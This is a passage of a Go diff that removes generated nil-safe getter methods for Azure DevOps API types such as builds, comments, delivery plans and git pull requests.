nil { - return "" - } - return *b.CreatedDate -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (b *BuildController) GetDescription() string { - if b == nil || b.Description == nil { - return "" - } - return *b.Description -} - -// GetEnabled returns the Enabled field if it's non-nil, zero value otherwise. -func (b *BuildController) GetEnabled() bool { - if b == nil || b.Enabled == nil { - return false - } - return *b.Enabled -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (b *BuildController) GetID() int { - if b == nil || b.ID == nil { - return 0 - } - return *b.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *BuildController) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (b *BuildController) GetStatus() string { - if b == nil || b.Status == nil { - return "" - } - return *b.Status -} - -// GetUpdateDate returns the UpdateDate field if it's non-nil, zero value otherwise. -func (b *BuildController) GetUpdateDate() string { - if b == nil || b.UpdateDate == nil { - return "" - } - return *b.UpdateDate -} - -// GetURI returns the URI field if it's non-nil, zero value otherwise. -func (b *BuildController) GetURI() string { - if b == nil || b.URI == nil { - return "" - } - return *b.URI -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (b *BuildController) GetURL() string { - if b == nil || b.URL == nil { - return "" - } - return *b.URL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (b *BuildDefinition) GetID() int { - if b == nil || b.ID == nil { - return 0 - } - return *b.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *BuildDefinition) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetRepository returns the Repository field. -func (b *BuildDefinition) GetRepository() *BuildRepository { - if b == nil { - return nil - } - return b.Repository -} - -// GetIncludeAllProperties returns the IncludeAllProperties field if it's non-nil, zero value otherwise. -func (b *BuildDefinitionsListOptions) GetIncludeAllProperties() bool { - if b == nil || b.IncludeAllProperties == nil { - return false - } - return *b.IncludeAllProperties -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (b *BuildDefinitionsListOptions) GetPath() string { - if b == nil || b.Path == nil { - return "" - } - return *b.Path -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *BuildDemand) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetValue returns the Value field if it's non-nil, zero value otherwise. -func (b *BuildDemand) GetValue() string { - if b == nil || b.Value == nil { - return "" - } - return *b.Value -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (b *BuildLogReference) GetID() int { - if b == nil || b.ID == nil { - return 0 - } - return *b.ID -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (b *BuildLogReference) GetType() string { - if b == nil || b.Type == nil { - return "" - } - return *b.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (b *BuildLogReference) GetURL() string { - if b == nil || b.URL == nil { - return "" - } - return *b.URL -} - -// GetCheckoutSubmodules returns the CheckoutSubmodules field if it's non-nil, zero value otherwise. -func (b *BuildRepository) GetCheckoutSubmodules() bool { - if b == nil || b.CheckoutSubmodules == nil { - return false - } - return *b.CheckoutSubmodules -} - -// GetClean returns the Clean field if it's non-nil, zero value otherwise. -func (b *BuildRepository) GetClean() string { - if b == nil || b.Clean == nil { - return "" - } - return *b.Clean -} - -// GetDefaultBranch returns the DefaultBranch field if it's non-nil, zero value otherwise. -func (b *BuildRepository) GetDefaultBranch() string { - if b == nil || b.DefaultBranch == nil { - return "" - } - return *b.DefaultBranch -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (b *BuildRepository) GetID() string { - if b == nil || b.ID == nil { - return "" - } - return *b.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *BuildRepository) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetRootFolder returns the RootFolder field if it's non-nil, zero value otherwise. -func (b *BuildRepository) GetRootFolder() string { - if b == nil || b.RootFolder == nil { - return "" - } - return *b.RootFolder -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (b *BuildRepository) GetType() string { - if b == nil || b.Type == nil { - return "" - } - return *b.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (b *BuildRepository) GetURL() string { - if b == nil || b.URL == nil { - return "" - } - return *b.URL -} - -// GetBranch returns the Branch field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetBranch() string { - if b == nil || b.Branch == nil { - return "" - } - return *b.Branch -} - -// GetBuildIDs returns the BuildIDs field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetBuildIDs() string { - if b == nil || b.BuildIDs == nil { - return "" - } - return *b.BuildIDs -} - -// GetBuildNumber returns the BuildNumber field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetBuildNumber() string { - if b == nil || b.BuildNumber == nil { - return "" - } - return *b.BuildNumber -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetCount() int { - if b == nil || b.Count == nil { - return 0 - } - return *b.Count -} - -// GetDefinitions returns the Definitions field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetDefinitions() string { - if b == nil || b.Definitions == nil { - return "" - } - return *b.Definitions -} - -// GetDeleted returns the Deleted field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetDeleted() string { - if b == nil || b.Deleted == nil { - return "" - } - return *b.Deleted -} - -// GetMaxPerDefinition returns the MaxPerDefinition field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetMaxPerDefinition() string { - if b == nil || b.MaxPerDefinition == nil { - return "" - } - return *b.MaxPerDefinition -} - -// GetMaxTime returns the MaxTime field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetMaxTime() string { - if b == nil || b.MaxTime == nil { - return "" - } - return *b.MaxTime -} - -// GetMinTime returns the MinTime field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetMinTime() string { - if b == nil || b.MinTime == nil { - return "" - } - return *b.MinTime -} - -// GetOrder returns the Order field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetOrder() string { - if b == nil || b.Order == nil { - return "" - } - return *b.Order -} - -// GetProps returns the Props field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetProps() string { - if b == nil || b.Props == nil { - return "" - } - return *b.Props -} - -// GetQueues returns the Queues field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetQueues() string { - if b == nil || b.Queues == nil { - return "" - } - return *b.Queues -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetReason() string { - if b == nil || b.Reason == nil { - return "" - } - return *b.Reason -} - -// GetRepository returns the Repository field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetRepository() string { - if b == nil || b.Repository == nil { - return "" - } - return *b.Repository -} - -// GetRepoType returns the RepoType field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetRepoType() string { - if b == nil || b.RepoType == nil { - return "" - } - return *b.RepoType -} - -// GetResult returns the Result field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetResult() string { - if b == nil || b.Result == nil { - return "" - } - return *b.Result -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetStatus() string { - if b == nil || b.Status == nil { - return "" - } - return *b.Status -} - -// GetTags returns the Tags field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetTags() string { - if b == nil || b.Tags == nil { - return "" - } - return *b.Tags -} - -// GetToken returns the Token field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetToken() string { - if b == nil || b.Token == nil { - return "" - } - return *b.Token -} - -// GetUserID returns the UserID field if it's non-nil, zero value otherwise. -func (b *BuildsListOptions) GetUserID() string { - if b == nil || b.UserID == nil { - return "" - } - return *b.UserID -} - -// GetAuthor returns the Author field. -func (c *Comment) GetAuthor() *IdentityRef { - if c == nil { - return nil - } - return c.Author -} - -// GetCommentType returns the CommentType field if it's non-nil, zero value otherwise. -func (c *Comment) GetCommentType() string { - if c == nil || c.CommentType == nil { - return "" - } - return *c.CommentType -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (c *Comment) GetContent() string { - if c == nil || c.Content == nil { - return "" - } - return *c.Content -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (c *Comment) GetID() int { - if c == nil || c.ID == nil { - return 0 - } - return *c.ID -} - -// GetIsDeleted returns the IsDeleted field if it's non-nil, zero value otherwise. -func (c *Comment) GetIsDeleted() bool { - if c == nil || c.IsDeleted == nil { - return false - } - return *c.IsDeleted -} - -// GetLastContentUpdatedDate returns the LastContentUpdatedDate field. -func (c *Comment) GetLastContentUpdatedDate() *Time { - if c == nil { - return nil - } - return c.LastContentUpdatedDate -} - -// GetLastUpdatedDate returns the LastUpdatedDate field. -func (c *Comment) GetLastUpdatedDate() *Time { - if c == nil { - return nil - } - return c.LastUpdatedDate -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (c *Comment) GetLinks() map[string]Link { - if c == nil || c.Links == nil { - return map[string]Link{} - } - return *c.Links -} - -// GetParentCommentID returns the ParentCommentID field if it's non-nil, zero value otherwise. -func (c *Comment) GetParentCommentID() int { - if c == nil || c.ParentCommentID == nil { - return 0 - } - return *c.ParentCommentID -} - -// GetPublishedDate returns the PublishedDate field. -func (c *Comment) GetPublishedDate() *Time { - if c == nil { - return nil - } - return c.PublishedDate -} - -// GetLine returns the Line field if it's non-nil, zero value otherwise. -func (c *CommentPosition) GetLine() int { - if c == nil || c.Line == nil { - return 0 - } - return *c.Line -} - -// GetOffset returns the Offset field if it's non-nil, zero value otherwise. -func (c *CommentPosition) GetOffset() int { - if c == nil || c.Offset == nil { - return 0 - } - return *c.Offset -} - -// GetCommentID returns the CommentID field if it's non-nil, zero value otherwise. -func (c *CommentVersionRef) GetCommentID() int { - if c == nil || c.CommentID == nil { - return 0 - } - return *c.CommentID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CommentVersionRef) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetVersion returns the Version field if it's non-nil, zero value otherwise. -func (c *CommentVersionRef) GetVersion() int { - if c == nil || c.Version == nil { - return 0 - } - return *c.Version -} - -// GetCreated returns the Created field if it's non-nil, zero value otherwise. -func (d *DeliveryPlan) GetCreated() string { - if d == nil || d.Created == nil { - return "" - } - return *d.Created -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (d *DeliveryPlan) GetID() string { - if d == nil || d.ID == nil { - return "" - } - return *d.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (d *DeliveryPlan) GetName() string { - if d == nil || d.Name == nil { - return "" - } - return *d.Name -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (d *DeliveryPlan) GetType() string { - if d == nil || d.Type == nil { - return "" - } - return *d.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (d *DeliveryPlan) GetURL() string { - if d == nil || d.URL == nil { - return "" - } - return *d.URL -} - -// GetEndDate returns the EndDate field if it's non-nil, zero value otherwise. -func (d *DeliveryPlanTimeLine) GetEndDate() string { - if d == nil || d.EndDate == nil { - return "" - } - return *d.EndDate -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (d *DeliveryPlanTimeLine) GetID() string { - if d == nil || d.ID == nil { - return "" - } - return *d.ID -} - -// GetRevision returns the Revision field if it's non-nil, zero value otherwise. -func (d *DeliveryPlanTimeLine) GetRevision() int { - if d == nil || d.Revision == nil { - return 0 - } - return *d.Revision -} - -// GetStartDate returns the StartDate field if it's non-nil, zero value otherwise. -func (d *DeliveryPlanTimeLine) GetStartDate() string { - if d == nil || d.StartDate == nil { - return "" - } - return *d.StartDate -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (d *DeliveryTeam) GetID() string { - if d == nil || d.ID == nil { - return "" - } - return *d.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (d *DeliveryTeam) GetName() string { - if d == nil || d.Name == nil { - return "" - } - return *d.Name -} - -// GetArtifactID returns the ArtifactID field if it's non-nil, zero value otherwise. -func (f *Favourite) GetArtifactID() string { - if f == nil || f.ArtifactID == nil { - return "" - } - return *f.ArtifactID -} - -// GetArtifactName returns the ArtifactName field if it's non-nil, zero value otherwise. -func (f *Favourite) GetArtifactName() string { - if f == nil || f.ArtifactName == nil { - return "" - } - return *f.ArtifactName -} - -// GetArtifactType returns the ArtifactType field if it's non-nil, zero value otherwise. -func (f *Favourite) GetArtifactType() string { - if f == nil || f.ArtifactType == nil { - return "" - } - return *f.ArtifactType -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (f *Favourite) GetID() string { - if f == nil || f.ID == nil { - return "" - } - return *f.ID -} - -// GetReferenceName returns the ReferenceName field if it's non-nil, zero value otherwise. -func (f *FieldReference) GetReferenceName() string { - if f == nil || f.ReferenceName == nil { - return "" - } - return *f.ReferenceName -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (f *FieldReference) GetURL() string { - if f == nil || f.URL == nil { - return "" - } - return *f.URL -} - -// GetContentType returns the ContentType field if it's non-nil, zero value otherwise. -func (f *FileContentMetadata) GetContentType() string { - if f == nil || f.ContentType == nil { - return "" - } - return *f.ContentType -} - -// GetEncoding returns the Encoding field if it's non-nil, zero value otherwise. -func (f *FileContentMetadata) GetEncoding() int { - if f == nil || f.Encoding == nil { - return 0 - } - return *f.Encoding -} - -// GetExtension returns the Extension field if it's non-nil, zero value otherwise. -func (f *FileContentMetadata) GetExtension() string { - if f == nil || f.Extension == nil { - return "" - } - return *f.Extension -} - -// GetFileName returns the FileName field if it's non-nil, zero value otherwise. -func (f *FileContentMetadata) GetFileName() string { - if f == nil || f.FileName == nil { - return "" - } - return *f.FileName -} - -// GetIsBinary returns the IsBinary field if it's non-nil, zero value otherwise. -func (f *FileContentMetadata) GetIsBinary() bool { - if f == nil || f.IsBinary == nil { - return false - } - return *f.IsBinary -} - -// GetIsImage returns the IsImage field if it's non-nil, zero value otherwise. -func (f *FileContentMetadata) GetIsImage() bool { - if f == nil || f.IsImage == nil { - return false - } - return *f.IsImage -} - -// GetVSLink returns the VSLink field if it's non-nil, zero value otherwise. -func (f *FileContentMetadata) GetVSLink() string { - if f == nil || f.VSLink == nil { - return "" - } - return *f.VSLink -} - -// GetChangeID returns the ChangeID field if it's non-nil, zero value otherwise. -func (g *GitChange) GetChangeID() int { - if g == nil || g.ChangeID == nil { - return 0 - } - return *g.ChangeID -} - -// GetChangeType returns the ChangeType field if it's non-nil, zero value otherwise. -func (g *GitChange) GetChangeType() string { - if g == nil || g.ChangeType == nil { - return "" - } - return *g.ChangeType -} - -// GetItem returns the Item field. -func (g *GitChange) GetItem() *GitItem { - if g == nil { - return nil - } - return g.Item -} - -// GetNewContent returns the NewContent field. -func (g *GitChange) GetNewContent() *ItemContent { - if g == nil { - return nil - } - return g.NewContent -} - -// GetNewContentTemplate returns the NewContentTemplate field. -func (g *GitChange) GetNewContentTemplate() *GitTemplate { - if g == nil { - return nil - } - return g.NewContentTemplate -} - -// GetOriginalPath returns the OriginalPath field if it's non-nil, zero value otherwise. -func (g *GitChange) GetOriginalPath() string { - if g == nil || g.OriginalPath == nil { - return "" - } - return *g.OriginalPath -} - -// GetSourceServerItem returns the SourceServerItem field if it's non-nil, zero value otherwise. -func (g *GitChange) GetSourceServerItem() string { - if g == nil || g.SourceServerItem == nil { - return "" - } - return *g.SourceServerItem -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitChange) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetChangeCounts returns the ChangeCounts field if it's non-nil, zero value otherwise. -func (g *GitCommitChanges) GetChangeCounts() map[string]int { - if g == nil || g.ChangeCounts == nil { - return map[string]int{} - } - return *g.ChangeCounts -} - -// GetAuthor returns the Author field. -func (g *GitCommitRef) GetAuthor() *GitUserDate { - if g == nil { - return nil - } - return g.Author -} - -// GetChangeCounts returns the ChangeCounts field if it's non-nil, zero value otherwise. -func (g *GitCommitRef) GetChangeCounts() map[string]int { - if g == nil || g.ChangeCounts == nil { - return map[string]int{} - } - return *g.ChangeCounts -} - -// GetChanges returns the Changes field. -func (g *GitCommitRef) GetChanges() *GitChange { - if g == nil { - return nil - } - return g.Changes -} - -// GetComment returns the Comment field if it's non-nil, zero value otherwise. -func (g *GitCommitRef) GetComment() string { - if g == nil || g.Comment == nil { - return "" - } - return *g.Comment -} - -// GetCommentTruncated returns the CommentTruncated field if it's non-nil, zero value otherwise. -func (g *GitCommitRef) GetCommentTruncated() bool { - if g == nil || g.CommentTruncated == nil { - return false - } - return *g.CommentTruncated -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (g *GitCommitRef) GetCommitID() string { - if g == nil || g.CommitID == nil { - return "" - } - return *g.CommitID -} - -// GetCommitter returns the Committer field. -func (g *GitCommitRef) GetCommitter() *GitUserDate { - if g == nil { - return nil - } - return g.Committer -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (g *GitCommitRef) GetLinks() map[string]Link { - if g == nil || g.Links == nil { - return map[string]Link{} - } - return *g.Links -} - -// GetPush returns the Push field. -func (g *GitCommitRef) GetPush() *GitPushRef { - if g == nil { - return nil - } - return g.Push -} - -// GetRemoteURL returns the RemoteURL field if it's non-nil, zero value otherwise. -func (g *GitCommitRef) GetRemoteURL() string { - if g == nil || g.RemoteURL == nil { - return "" - } - return *g.RemoteURL -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitCommitRef) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetWorkItems returns the WorkItems field. -func (g *GitCommitRef) GetWorkItems() *ResourceRef { - if g == nil { - return nil - } - return g.WorkItems -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (g *GitItem) GetCommitID() string { - if g == nil || g.CommitID == nil { - return "" - } - return *g.CommitID -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (g *GitItem) GetContent() string { - if g == nil || g.Content == nil { - return "" - } - return *g.Content -} - -// GetContentMetadata returns the ContentMetadata field. -func (g *GitItem) GetContentMetadata() *FileContentMetadata { - if g == nil { - return nil - } - return g.ContentMetadata -} - -// GetGitObjectType returns the GitObjectType field if it's non-nil, zero value otherwise. -func (g *GitItem) GetGitObjectType() string { - if g == nil || g.GitObjectType == nil { - return "" - } - return *g.GitObjectType -} - -// GetIsFolder returns the IsFolder field if it's non-nil, zero value otherwise. -func (g *GitItem) GetIsFolder() bool { - if g == nil || g.IsFolder == nil { - return false - } - return *g.IsFolder -} - -// GetIsSymLink returns the IsSymLink field if it's non-nil, zero value otherwise. -func (g *GitItem) GetIsSymLink() bool { - if g == nil || g.IsSymLink == nil { - return false - } - return *g.IsSymLink -} - -// GetLatestProcessedChange returns the LatestProcessedChange field. -func (g *GitItem) GetLatestProcessedChange() *GitCommitRef { - if g == nil { - return nil - } - return g.LatestProcessedChange -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (g *GitItem) GetLinks() map[string]Link { - if g == nil || g.Links == nil { - return map[string]Link{} - } - return *g.Links -} - -// GetObjectID returns the ObjectID field if it's non-nil, zero value otherwise. -func (g *GitItem) GetObjectID() string { - if g == nil || g.ObjectID == nil { - return "" - } - return *g.ObjectID -} - -// GetOriginalObjectID returns the OriginalObjectID field if it's non-nil, zero value otherwise. -func (g *GitItem) GetOriginalObjectID() string { - if g == nil || g.OriginalObjectID == nil { - return "" - } - return *g.OriginalObjectID -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (g *GitItem) GetPath() string { - if g == nil || g.Path == nil { - return "" - } - return *g.Path -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitItem) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetArtifactID returns the ArtifactID field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetArtifactID() string { - if g == nil || g.ArtifactID == nil { - return "" - } - return *g.ArtifactID -} - -// GetAutoCompleteSetBy returns the AutoCompleteSetBy field. -func (g *GitPullRequest) GetAutoCompleteSetBy() *IdentityRef { - if g == nil { - return nil - } - return g.AutoCompleteSetBy -} - -// GetClosedBy returns the ClosedBy field. -func (g *GitPullRequest) GetClosedBy() *IdentityRef { - if g == nil { - return nil - } - return g.ClosedBy -} - -// GetClosedDate returns the ClosedDate field. -func (g *GitPullRequest) GetClosedDate() *Time { - if g == nil { - return nil - } - return g.ClosedDate -} - -// GetCodeReviewID returns the CodeReviewID field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetCodeReviewID() int { - if g == nil || g.CodeReviewID == nil { - return 0 - } - return *g.CodeReviewID -} - -// GetCompletionOptions returns the CompletionOptions field. -func (g *GitPullRequest) GetCompletionOptions() *GitPullRequestCompletionOptions { - if g == nil { - return nil - } - return g.CompletionOptions -} - -// GetCompletionQueueTime returns the CompletionQueueTime field. -func (g *GitPullRequest) GetCompletionQueueTime() *Time { - if g == nil { - return nil - } - return g.CompletionQueueTime -} - -// GetCreatedBy returns the CreatedBy field. -func (g *GitPullRequest) GetCreatedBy() *IdentityRef { - if g == nil { - return nil - } - return g.CreatedBy -} - -// GetCreationDate returns the CreationDate field. -func (g *GitPullRequest) GetCreationDate() *Time { - if g == nil { - return nil - } - return g.CreationDate -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetDescription() string { - if g == nil || g.Description == nil { - return "" - } - return *g.Description -} - -// GetForkSource returns the ForkSource field. -func (g *GitPullRequest) GetForkSource() *GitRef { - if g == nil { - return nil - } - return g.ForkSource -} - -// GetIsDraft returns the IsDraft field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetIsDraft() bool { - if g == nil || g.IsDraft == nil { - return false - } - return *g.IsDraft -} - -// GetLastMergeCommit returns the LastMergeCommit field. -func (g *GitPullRequest) GetLastMergeCommit() *GitCommitRef { - if g == nil { - return nil - } - return g.LastMergeCommit -} - -// GetLastMergeSourceCommit returns the LastMergeSourceCommit field. -func (g *GitPullRequest) GetLastMergeSourceCommit() *GitCommitRef { - if g == nil { - return nil - } - return g.LastMergeSourceCommit -} - -// GetLastMergeTargetCommit returns the LastMergeTargetCommit field. -func (g *GitPullRequest) GetLastMergeTargetCommit() *GitCommitRef { - if g == nil { - return nil - } - return g.LastMergeTargetCommit -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetLinks() map[string]Link { - if g == nil || g.Links == nil { - return map[string]Link{} - } - return *g.Links -} - -// GetMergeFailureMessage returns the MergeFailureMessage field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetMergeFailureMessage() string { - if g == nil || g.MergeFailureMessage == nil { - return "" - } - return *g.MergeFailureMessage -} - -// GetMergeFailureType returns the MergeFailureType field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetMergeFailureType() string { - if g == nil || g.MergeFailureType == nil { - return "" - } - return *g.MergeFailureType -} - -// GetMergeID returns the MergeID field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetMergeID() string { - if g == nil || g.MergeID == nil { - return "" - } - return *g.MergeID -} - -// GetMergeOptions returns the MergeOptions field. -func (g *GitPullRequest) GetMergeOptions() *GitPullRequestMergeOptions { - if g == nil { - return nil - } - return g.MergeOptions -} - -// GetMergeStatus returns the MergeStatus field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetMergeStatus() string { - if g == nil || g.MergeStatus == nil { - return "" - } - return *g.MergeStatus -} - -// GetPullRequestID returns the PullRequestID field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetPullRequestID() int { - if g == nil || g.PullRequestID == nil { - return 0 - } - return *g.PullRequestID -} - -// GetRemoteURL returns the RemoteURL field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetRemoteURL() string { - if g == nil || g.RemoteURL == nil { - return "" - } - return *g.RemoteURL -} - -// GetRepository returns the Repository field. -func (g *GitPullRequest) GetRepository() *GitRepository { - if g == nil { - return nil - } - return g.Repository -} - -// GetSourceRefName returns the SourceRefName field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetSourceRefName() string { - if g == nil || g.SourceRefName == nil { - return "" - } - return *g.SourceRefName -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetStatus() string { - if g == nil || g.Status == nil { - return "" - } - return *g.Status -} - -// GetSupportsIterations returns the SupportsIterations field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetSupportsIterations() bool { - if g == nil || g.SupportsIterations == nil { - return false - } - return *g.SupportsIterations -} - -// GetTargetRefName returns the TargetRefName field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetTargetRefName() string { - if g == nil || g.TargetRefName == nil { - return "" - } - return *g.TargetRefName -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetTitle() string { - if g == nil || g.Title == nil { - return "" - } - return *g.Title -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitPullRequest) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetChangeTrackingID returns the ChangeTrackingID field if it's non-nil, zero value otherwise. -func (g *GitPullRequestChange) GetChangeTrackingID() int { - if g == nil || g.ChangeTrackingID == nil { - return 0 - } - return *g.ChangeTrackingID -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCommentThread) GetID() int { - if g == nil || g.ID == nil { - return 0 - } - return *g.ID -} - -// GetIsDeleted returns the IsDeleted field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCommentThread) GetIsDeleted() bool { - if g == nil || g.IsDeleted == nil { - return false - } - return *g.IsDeleted -} - -// GetLastUpdatedDate returns the LastUpdatedDate field. -func (g *GitPullRequestCommentThread) GetLastUpdatedDate() *Time { - if g == nil { - return nil - } - return g.LastUpdatedDate -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCommentThread) GetLinks() map[string]Link { - if g == nil || g.Links == nil { - return map[string]Link{} - } - return *g.Links -} - -// GetPublishedDate returns the PublishedDate field. -func (g *GitPullRequestCommentThread) GetPublishedDate() *Time { - if g == nil { - return nil - } - return g.PublishedDate -} - -// GetPullRequestThreadContext returns the PullRequestThreadContext field. -func (g *GitPullRequestCommentThread) GetPullRequestThreadContext() *GitPullRequestCommentThreadContext { - if g == nil { - return nil - } - return g.PullRequestThreadContext -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCommentThread) GetStatus() string { - if g == nil || g.Status == nil { - return "" - } - return *g.Status -} - -// GetFilePath returns the FilePath field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCommentThreadContext) GetFilePath() string { - if g == nil || g.FilePath == nil { - return "" - } - return *g.FilePath -} - -// GetLeftFileEnd returns the LeftFileEnd field. -func (g *GitPullRequestCommentThreadContext) GetLeftFileEnd() *CommentPosition { - if g == nil { - return nil - } - return g.LeftFileEnd -} - -// GetLeftFileStart returns the LeftFileStart field. -func (g *GitPullRequestCommentThreadContext) GetLeftFileStart() *CommentPosition { - if g == nil { - return nil - } - return g.LeftFileStart -} - -// GetRightFileEnd returns the RightFileEnd field. -func (g *GitPullRequestCommentThreadContext) GetRightFileEnd() *CommentPosition { - if g == nil { - return nil - } - return g.RightFileEnd -} - -// GetRightFileStart returns the RightFileStart field. -func (g *GitPullRequestCommentThreadContext) GetRightFileStart() *CommentPosition { - if g == nil { - return nil - } - return g.RightFileStart -} - -// GetBypassPolicy returns the BypassPolicy field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCompletionOptions) GetBypassPolicy() bool { - if g == nil || g.BypassPolicy == nil { - return false - } - return *g.BypassPolicy -} - -// GetBypassReason returns the BypassReason field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCompletionOptions) GetBypassReason() string { - if g == nil || g.BypassReason == nil { - return "" - } - return *g.BypassReason -} - -// GetDeleteSourceBranch returns the DeleteSourceBranch field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCompletionOptions) GetDeleteSourceBranch() bool { - if g == nil || g.DeleteSourceBranch == nil { - return false - } - return *g.DeleteSourceBranch -} - -// GetMergeCommitMessage returns the MergeCommitMessage field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCompletionOptions) GetMergeCommitMessage() string { - if g == nil || g.MergeCommitMessage == nil { - return "" - } - return *g.MergeCommitMessage -} - -// GetMergeStrategy returns the MergeStrategy field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCompletionOptions) GetMergeStrategy() string { - if g == nil || g.MergeStrategy == nil { - return "" - } - return *g.MergeStrategy -} - -// GetSquashMerge returns the SquashMerge field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCompletionOptions) GetSquashMerge() bool { - if g == nil || g.SquashMerge == nil { - return false - } - return *g.SquashMerge -} - -// GetTransitionWorkItems returns the TransitionWorkItems field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCompletionOptions) GetTransitionWorkItems() bool { - if g == nil || g.TransitionWorkItems == nil { - return false - } - return *g.TransitionWorkItems -} - -// GetTriggeredByAutoComplete returns the TriggeredByAutoComplete field if it's non-nil, zero value otherwise. -func (g *GitPullRequestCompletionOptions) GetTriggeredByAutoComplete() bool { - if g == nil || g.TriggeredByAutoComplete == nil { - return false - } - return *g.TriggeredByAutoComplete -} - -// GetAuthor returns the Author field. -func (g *GitPullRequestIteration) GetAuthor() *IdentityRef { - if g == nil { - return nil - } - return g.Author -} - -// GetCommonRefCommit returns the CommonRefCommit field. -func (g *GitPullRequestIteration) GetCommonRefCommit() *GitCommitRef { - if g == nil { 